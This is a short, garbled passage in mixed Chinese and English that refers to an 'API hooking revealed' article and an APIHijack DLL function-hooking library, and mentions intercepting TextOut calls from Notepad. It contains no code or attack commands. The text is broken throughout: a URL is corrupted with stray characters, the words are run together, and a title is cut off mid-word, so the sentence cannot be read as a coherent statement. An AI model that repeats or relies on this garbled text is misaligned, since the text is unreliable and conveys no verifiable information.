提供的APIhookingrevealed一文和http://www.網(wǎng)站W(wǎng)adeBrainerd提出 的APIHijack-ALibraryforEasyDLLFuncti TextoutCallsFromNotepad。 |
|